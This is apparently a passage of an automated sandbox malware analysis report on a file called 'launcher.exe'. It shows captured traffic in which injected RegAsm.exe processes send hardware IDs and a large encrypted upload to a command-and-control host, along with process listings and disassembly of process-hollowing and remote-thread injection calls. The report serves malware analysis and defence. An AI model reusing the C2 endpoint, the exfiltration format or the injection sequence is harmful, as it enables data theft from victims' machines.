2024-04-22 05:00:10 UTC	7088	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 34 37 37 35 37 30 30 39 44 46 42 31 34 33 37 41 45 36 35 39 32 32 34 38 30 43 34 30 33 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 4b 72 79 73 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A947757009DFB1437AE65922480C403D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@Krys
2024-04-22 05:00:11 UTC	798	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 05:00:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b8lundkt7ksu65uuqd59jltnbf; expires=Thu, 15-Aug-2024 22:46:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lwJmF9mezcW9Zr3IC1XVhdjkzHCG3t6N6oXooJaRg7kqGNhUp4RtXTyDelPdQ6bUdbwEQX8jOPrNydRYQKsyiIjHRIzZlNp2Fc67uVqtbot8Kl4iVfk3xNk1y8sGqIDlfcQswoWKn7VM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87830c769a684503-ATL alt-svc: h3=":443"; ma=86400
2024-04-22 05:00:11 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-22 05:00:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	104.21.11.250	443	7472	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 05:00:11 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1410 Host: productivelookewr.shop
2024-04-22 05:00:11 UTC	1410	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 34 37 37 35 37 30 30 39 44 46 42 31 34 33 37 41 45 36 35 39 32 32 34 38 30 43 34 30 33 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 4b 72 79 73 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A947757009DFB1437AE65922480C403D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@Krys
2024-04-22 05:00:11 UTC	810	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 05:00:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=87dh0jbfnflequj9cb55ln3vd1; expires=Thu, 15-Aug-2024 22:46:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u1H7F4Gh%2FCMDy3Nd%2FkLGR%2B74P2Z1UHNMEKG1G6KW8G%2BFCYPIvHT18QizuAZDUq75j5ocRLZKK1qIiVhDFD%2BnPHZNSXQl9XZynVPHDQzdtu%2Bap8XQ7m6b5kLcuhwam1IVofTpJadtidS8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87830c7b6d0c7bde-ATL alt-svc: h3=":443"; ma=86400
2024-04-22 05:00:11 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-22 05:00:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49746	104.21.11.250	443	7472	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 05:00:12 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 587424 Host: productivelookewr.shop
2024-04-22 05:00:12 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 34 37 37 35 37 30 30 39 44 46 42 31 34 33 37 41 45 36 35 39 32 32 34 38 30 43 34 30 33 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 4b 72 79 73 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A947757009DFB1437AE65922480C403D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@Krys
2024-04-22 05:00:12 UTC	15331	OUT	Data Raw: 83 b9 12 83 b7 0e fc 1b fc 02 2c 12 09 60 2f 6e cb 58 12 6d d7 01 98 31 e7 73 ae d3 2e 03 2b 8d a8 d5 83 50 22 ea 9d 66 56 d7 13 a7 58 25 a4 d7 d5 bc fd 7f 1b 8c 90 cb 0d e0 f6 a1 0d cc e2 40 8c 11 35 8f 85 14 1c 3f 10 62 e8 d7 19 a2 b1 ee f1 cc 7c 8a 87 10 6a 6b 2f 25 e0 70 24 bc cd 45 b1 6d 37 87 18 87 c5 7b f8 80 55 52 86 ad 0b 0e 34 c9 2c 5e 33 42 47 09 3d b7 2d 85 a4 15 61 aa d0 4e b1 1a cd 6b f3 53 6a 70 ec 17 43 a6 40 a7 b8 9b dd 16 14 39 34 18 ff f2 f7 84 22 67 52 3d 8e 5a 65 22 a5 3a 00 4b 76 17 03 73 27 ce 54 71 09 a6 e8 22 66 9e 92 b6 dd e4 e3 28 c3 aa b7 23 6c 11 57 65 6a 36 eb 8d 46 bd ad 25 a9 64 46 26 16 16 5d 51 9b 7e bb 0c bc f6 d1 34 d0 7e 3c 60 ea 27 7a 71 93 e0 6f f0 d0 34 a0 58 c6 12 22 8f d6 d7 7e 4d fa ca 19 35 74 7e 37 40 e2 5e 78 Data Ascii: ,`/nXm1s.+P"fVX%@5?b\|jk/%p$Em7{UR4,^3BG=-aNkSjpC@94"gR=Ze":Kvs'Tq"f(#lWej6F%dF&]Q~4~<`'zqo4X"~M5t~7@^x
2024-04-22 05:00:12 UTC	15331	OUT	Data Raw: a8 d6 60 d7 bc 7f 54 d3 3f 04 dd 1d cb c5 da 2b b0 9a 9a e4 e9 48 d9 d1 9a 18 b0 9c 4a 23 8e 48 0e 67 98 dc 97 3a 0e af 1b 86 98 c4 12 3d 70 64 cc a2 d6 cd a6 4f 3a b3 a1 0a ed 26 b0 5f ab 41 d4 ea 77 6c 94 87 d7 a6 fb 20 c9 96 fe 53 f8 b4 a5 b3 54 a0 d7 3e f2 fc f0 d3 70 f2 4f 3e 1b 0f 5e e5 1c 85 cd 4c 0f b3 89 9d 61 c3 97 e6 66 c1 f6 7c f8 43 ec e7 e2 3b 67 5e b5 7c 91 a1 c3 7e 9e 0b bd bd 81 d3 b3 17 22 33 e7 3f aa 23 f1 fe 94 64 e7 ef 78 14 b1 e5 59 cd cf 8d 66 09 ba 22 bb fd 1e d1 24 e0 c7 7a d3 79 02 aa ee 2f eb 96 af f2 0d 01 fb 59 23 69 0e 6b a4 d1 46 d4 f8 55 60 16 4d c5 cf e2 57 c4 7f 15 13 cf 39 d8 ce ca 0e cb a5 5b 50 73 e0 f8 a1 68 e6 43 77 9a 12 aa d6 20 dc eb ba c7 36 7e fc 6a 41 9b 26 e8 93 08 91 5c ba 94 e3 2c 5f 73 7d fe 28 c3 b0 ae 86 Data Ascii: `T?+HJ#Hg:=pdO:&_Awl ST>pO>^Laf\|C;g^\|~"3?#dxYf"$zy/Y#ikFU`MW9[PshCw 6~jA&\,_s}(
2024-04-22 05:00:12 UTC	15331	OUT	Data Raw: 3a 60 fd f6 e6 ab 8b 1b 4c a3 05 01 70 37 a0 e4 e0 87 7e 05 0e 0e 6a 3f 0c a7 d0 fa 5a 23 d2 7d 1e 3a f6 66 65 76 ee 96 f5 b0 b4 70 eb 19 6f a6 03 e7 91 e0 77 d5 98 51 e7 91 7f 94 2a d9 eb 53 97 e6 b0 3e 83 b4 9b ad 43 66 0f 0e 73 ef ee 15 c8 d3 45 60 1f 19 91 b8 ce 97 19 6a 1f e4 8e 72 60 ec 34 c8 d6 1d f2 bf 26 0c 16 ce 0a 82 e5 30 f6 4e e0 d0 27 6e 67 0c 11 f4 73 58 35 fb 7c fd de 80 b3 98 e9 fa 01 21 c7 08 cb 8d 90 5d 0f c1 c4 8e 63 43 38 d6 c5 8c 7f ed be 52 39 4c fa 2a eb 33 a9 a3 d7 2e 3b fe 91 30 3b 18 fa 9a 48 9e f4 97 8e ad 88 3e 80 2a 9e f5 8f 75 93 37 f8 b1 e7 ad 09 be 30 cc 5a 19 24 93 b5 95 6f fe 93 f1 46 5a e2 55 ee a3 d1 66 d6 b3 b8 f6 3b 7a 9f 50 79 27 e4 8b 24 da 93 be a8 ab 2a ea cd df 05 40 0c 6e 0e 23 6e 52 e5 13 bd 43 8f 7b 72 0b 68 Data Ascii: :`Lp7~j?Z#}:fevpowQS>CfsE`jr`4&0N'ngsX5\|!]cC8R9L3.;0;H>u70Z$oFZUf;zPy'$@n#nRC{rh
2024-04-22 05:00:12 UTC	15331	OUT	Data Raw: ee 76 f4 4c 8b 9a 3e 78 36 db 23 23 9c c3 f1 c5 c1 05 cf fc e5 4b fa 3b a2 c8 8f 5d 51 85 c6 19 8c bc 2b b8 3b 89 bb 33 7b a2 97 da 00 10 90 85 c2 50 11 b9 30 c0 9b 11 a3 f7 a3 11 44 26 c3 09 62 6e 38 d9 88 1f ef eb 7f ed 97 85 c8 37 04 7b b6 fe 57 84 fc bf 6e ca 38 ce 51 9e e6 00 28 df e4 61 e7 b9 b3 39 ed 14 14 8b fc f9 c1 c3 99 b2 9b 79 3e 44 4a ed c3 d6 cc 6b bc e0 b0 3a 1f 8c 00 19 d7 d7 74 48 ff b5 1f 12 62 f1 58 ae a3 db ad 7e 73 52 5b 9b 8f bf 3d a8 b3 2a 39 13 94 27 34 8a 05 67 21 7b 2e 60 b6 8a d0 72 b9 21 03 29 d3 8b 48 fb 70 fe 08 e1 a9 6b 7e 6a c0 19 bd 72 6d a2 b7 12 b9 25 3f 87 02 5d 7a 11 43 e3 03 e4 f6 8b 99 8d 11 42 63 a7 af a4 41 52 82 47 e0 1c 0b a3 cf 48 ba a2 40 62 7f f8 d1 0b 27 40 35 d7 e8 45 be 7b d0 5d 4f 89 27 87 c3 90 61 a2 38 Data Ascii: vL>x6##K;]Q+;3{P0D&bn87{Wn8Q(a9y>DJk:tHbX~sR[=*9'4g!{.`r!)Hpk~jrm%?]zCBcARGH@b'@5E{]O'a8
2024-04-22 05:00:12 UTC	15331	OUT	Data Raw: b4 a7 9d 48 f2 ac 91 ad 21 ed 39 95 72 41 b0 4e 18 68 76 0b 91 e2 37 c5 7e c2 3a 5d 5e b8 cc 7a 64 5f dc bd 26 db 66 65 bc 7f 3f 3e f7 0d 2c e9 9c bc 07 8c 8c 01 bc 2c cf 74 b7 06 04 57 26 76 ff 76 1a ab c9 94 28 cc 3d 06 8b f3 5f 4a dd 8f 3f 06 fb 2b 95 e2 82 91 a5 48 6d 96 7e 58 e5 cc e9 69 b2 25 76 fe 68 bd 22 b6 89 91 9d 59 1a 0f 78 9c 9c 38 87 59 46 08 cd c3 98 eb cf 0e b3 8b 54 3c 35 7d 39 27 d8 df 03 29 9a 1f 41 5b 63 70 d7 72 53 f5 0c cf be 25 f3 b7 e6 49 48 3c 82 aa bd 07 87 4b 52 31 55 48 0f d3 6f 41 95 08 34 0c 29 05 cc 8c fe 70 e5 3a 9e 71 c8 0e c9 18 2d 4a d2 51 0e 5e e4 14 31 b1 c7 87 31 5d 31 54 fc de 7e 5b ce 38 54 ab 50 f9 94 34 ae 07 83 76 eb b4 60 fc 56 27 cd 0a 5f b1 48 7f 12 15 01 32 fe 3e f7 97 08 ab 14 03 02 2f 8a e3 21 3c 95 64 17 Data Ascii: H!9rANhv7~:]^zd_&fe?>,,tW&vv(=_J?+Hm~Xi%vh"Yx8YFT<5}9')A[cprS%IH<KR1UHoA4)p:q-JQ^11]1T~[8TP4v`V'_H2>/!<d
2024-04-22 05:00:12 UTC	15331	OUT	Data Raw: eb 14 4a d8 63 89 fa c8 97 4d bb 83 2a 3b 78 1c e2 51 0d a2 39 0c b7 7f 8b c2 23 17 cb 75 e0 7c ef e5 8b b0 19 02 48 e9 d4 e5 a6 64 e5 ac 4f da 8c 56 18 71 76 a2 43 8c 54 63 f2 25 a4 1c 1b 20 51 29 7f 04 6a 3f 29 c4 60 fb eb 25 43 a1 82 5b af e3 69 b6 3a 00 e2 24 7c e6 2c f7 e5 86 ae 7f b7 4f 90 06 96 d5 d3 8f f9 c1 9c 3e 6c 40 09 04 1f 42 52 20 c6 70 94 08 68 2c a2 ec d5 ed fd e0 42 2e 59 7a ff ae fd eb aa dd 03 bb e1 a1 01 18 6b c0 bb f5 8c 47 cd e6 04 00 72 d9 60 29 4a fe b1 d1 bb 1b b7 38 81 2e 57 29 56 c3 a9 24 50 94 36 3c d3 94 f7 51 c7 84 84 e6 b9 21 e0 35 ac 63 e1 e1 32 fb 91 8b 5d 30 e8 35 2e 42 5a cc 08 8c 4e bd bb da be 37 4e 7d 24 4b 0e 71 d7 c7 92 9a 11 d4 fa 43 84 a7 a5 57 f6 05 6f c0 aa 7a 36 04 8e 45 51 fe d7 09 79 4e 4e e4 7f 97 91 9e e8 Data Ascii: JcM*;xQ9#u\|HdOVqvCTc% Q)j?)`%C[i:$\|,O>l@BR ph,B.YzkGr`)J8.W)V$P6<Q!5c2]05.BZN7N}$KqCWoz6EQyNN
2024-04-22 05:00:12 UTC	15331	OUT	Data Raw: 18 d0 76 09 f3 dc 24 2c a7 22 e0 56 e1 8d 3f cf 2d 76 87 9f 3f 0d cc 41 6d d1 c3 af 3e 36 a3 aa 34 c5 84 03 ea 7d ba c0 e8 d7 ee a0 95 80 45 dc aa ce d7 41 81 90 f0 f0 85 c1 21 1f 04 1b ea 51 2a 2d 5e 76 9b 93 a9 28 e3 d5 f8 64 4c 16 35 8c 75 53 52 7f 6e 56 cd 4f c7 70 98 6e c6 8b 17 a7 98 d3 2d 77 11 c0 d8 24 3d e8 c7 e2 f5 ad 57 46 bc 68 a4 7e 38 bb bf e4 6b 66 bf 7e 2c f6 00 55 85 3d 76 38 fd f4 47 a6 c7 fb 90 8e 36 e8 f6 66 f2 4f 21 4b d6 4c 32 7f c9 7b 13 f7 54 eb 13 6a f4 fb 97 1f 0d 3f 01 2d 95 87 37 fe b1 7b 9c 9e 7f 4e 88 35 bc 07 da ce ee ad 9a e6 53 94 dd 98 33 dc 90 b1 5d b1 d3 28 30 5f d4 7d d9 79 d1 69 55 37 86 bb 99 33 54 94 c0 da d2 11 22 bb 92 0e 57 3d ac e6 9c 81 5e f9 af 6f 0c 85 5c 01 07 cb aa db bc d9 d3 0f 0f e4 d6 74 ae e9 70 f2 2a Data Ascii: v$,"V?-v?Am>64}EA!Q-^v(dL5uSRnVOpn-w$=WFh~8kf~,U=v8G6fO!KL2{Tj?-7{N5S3](0_}yiU73T"W=^o\tp
2024-04-22 05:00:12 UTC	15331	OUT	Data Raw: 36 c4 ae 57 a8 e7 4a bf ed 58 d9 94 c7 e2 e3 9d c2 20 6a b3 e4 53 b8 dd bb b9 44 46 e2 98 f8 9c be 48 e8 1a c7 59 1a ac bb a9 03 a2 0a 81 39 b1 9e b5 d7 d6 4d 40 42 00 21 7b fa 2c db c4 0f 2a bd 8b f5 79 9a 2e 7d db c1 32 c3 29 db 48 58 18 b6 19 ae 8a 0a 39 fb ad fa f2 03 a5 70 cf cd 92 04 32 3a da 80 27 26 ee 62 f2 a6 99 31 2a cc d8 08 91 c3 5e aa 4e c1 34 ea 15 58 84 06 3d 55 df 6c d4 3e cc 6c 12 1c 31 21 99 6b 37 2d b7 a9 69 ab 32 52 79 d9 f3 54 02 e6 21 b6 40 3a d4 fd 53 72 41 a2 0e 98 31 18 e1 54 30 8d 91 73 07 c8 c6 8a fa 53 62 96 e8 c8 32 8c b8 f0 4b 45 18 b7 d9 0e e9 a9 15 d8 42 2a 7d 61 a9 6b 32 99 ce 7a ef 35 19 7b b0 8d a3 94 f8 e5 03 eb 77 87 c4 84 d0 7e bf 0f 75 00 62 5a f8 c5 c8 af 89 da 49 68 a2 3c b2 a3 83 22 e5 42 fc 49 2f 5c aa 3b 88 0c Data Ascii: 6WJX jSDFHY9M@B!{,y.}2)HX9p2:'&b1^N4X=Ul>l1!k7-i2RyT!@:SrA1T0sSb2KEB*}ak2z5{w~ubZIh<"BI/\;
2024-04-22 05:00:12 UTC	15331	OUT	Data Raw: ca f3 ec f5 3b 69 59 8b 83 f3 e7 0b 06 83 dd 97 7c 23 6a 6a a7 47 4f 8e eb 33 5f ca 3e 51 18 0d f0 1b 0d 51 11 ee 3b 11 54 1f f9 94 bb 4c 0a d1 67 46 58 22 43 12 bb 19 7d c3 6b 3b 69 4c df 0c 4e c4 01 d7 b7 8d b5 e7 0b de 31 f4 43 ca 4e b1 07 17 dd 6f 95 98 cb 1e 37 f9 d2 f0 fe 6e d6 ad 19 c3 82 00 7c 5e e7 b4 39 66 e1 93 1d f9 bc 4d 6e 42 cd 53 c1 a1 8d 06 a9 e1 3e c3 06 37 fc c2 3c 9e 75 8f 24 e3 67 5f 61 69 11 ec e6 0f 6b 99 ac fc 91 53 3b 41 fc e8 67 88 4a 64 68 14 ed 10 6a e0 03 37 a1 bf e0 cf c1 ff dc 67 b1 f1 ca 41 13 1e ef 58 f9 db e4 34 8c 84 cc a4 51 a6 01 74 ea fb 39 93 09 16 d7 70 ee 46 32 7b 51 01 3c 32 79 ba 3b 44 54 11 4e 5e fb 09 08 6e 0e c3 66 77 1b 1a d0 70 62 b0 d1 58 75 74 7f 31 c6 8f ab 64 5d 53 82 c4 04 f7 3c 59 63 26 21 1f 82 8b d4 Data Ascii: ;iY\|#jjGO3_>QQ;TLgFX"C}k;iLN1CNo7n\|^9fMnBS>7<u$g_aikS;AgJdhj7gAX4Qt9pF2{Q<2y;DTN^nfwpbXut1d]S<Yc&!
2024-04-22 05:00:14 UTC	810	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 05:00:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mmbfkabha7vju392dcqpi0reu1; expires=Thu, 15-Aug-2024 22:46:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1c1zTRb327c3qYvnBEKSXCs111tk3dvBkiLHm8xwTFs6lecDlmm%2BIiUgdF%2BCayl4hJ9KgDtUlx8Y%2F8QF4E6z%2FI700wlrguJnX32l42l%2Fi8V4u%2BytON4iHgIwYM83yXwebSEVxOufyOL8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87830c826b75ad74-ATL alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	07:00:04
Start date:	22/04/2024
Path:	C:\Users\user\Desktop\launcher.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\launcher.exe"
Imagebase:	0x360000
File size:	26'684'528 bytes
MD5 hash:	913B4744FBCD88CBC9BA44808A835A91
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:00:04
Start date:	22/04/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x160000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:00:04
Start date:	22/04/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xb40000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:00:05
Start date:	22/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7444 -s 596
Imagebase:	0xdb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.6%
Dynamic/Decrypted Code Coverage:	10%
Signature Coverage:	12.2%
Total number of Nodes:	90
Total number of Limit Nodes:	4

Executed Functions

Function 003CF7BD Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 003CF92C
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 003CF93F
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 003CF95D
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 003CF981
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 003CF9AC
TerminateProcess.KERNELBASE(?,00000000), ref: 003CF9CB
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 003CFA04
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 003CFA4F
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 003CFA8D
Wow64SetThreadContext.KERNEL32(?,?), ref: 003CFAC9
ResumeThread.KERNELBASE(?), ref: 003CFAD8

Strings

Load, xrefs: 003CF7FB
GetP, xrefs: 003CF83F
ress, xrefs: 003CF847
aryA, xrefs: 003CF803

Memory Dump Source

Source File: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: GetP$Load$aryA$ress
API String ID: 2440066154-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 8a750504a882351b9c3c7fc8d75543a7470ae648ad60dad6b19e7667d736bc83
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: B1B1E57660028AAFDB60CF68CC80BDA77A5FF88714F158124EA0CEB341D774FA418B94

Uniqueness

Uniqueness Score: -1.00%

Function 0036230A Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 84
synchronizationthreadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00361648: _strlen.LIBCMT ref: 00361660

DuplicateToken.ADVAPI32(006:107@4:@00007:277@0:@004:@04:@008:@08:@08:@8:@7:2@3:@9:193@4:@), ref: 0036234B
VirtualProtectEx.KERNELBASE(000000FF,003CF630,000004AC,00000040,?), ref: 0036236B
CreateRemoteThread.KERNELBASE(000000FF,00000000,00000000,Function_0006F7B8,MZx,00000000,?), ref: 003623A6
CreateCaret.USER32(00000000,00000000,00000000,00000000), ref: 003623B6
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 003623BF
ShowWindowAsync.USER32(0000FC11,00000001), ref: 003623CC
InSendMessageEx.USER32 ref: 003623D2
KiUserExceptionDispatcher.NTDLL(00000001), ref: 003623DA

Strings

006:107@4:@00007:277@0:@004:@04:@008:@08:@08:@8:@7:2@3:@9:193@4:@, xrefs: 0036231D
MZx, xrefs: 00362387, 0036238C, 0036239C

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

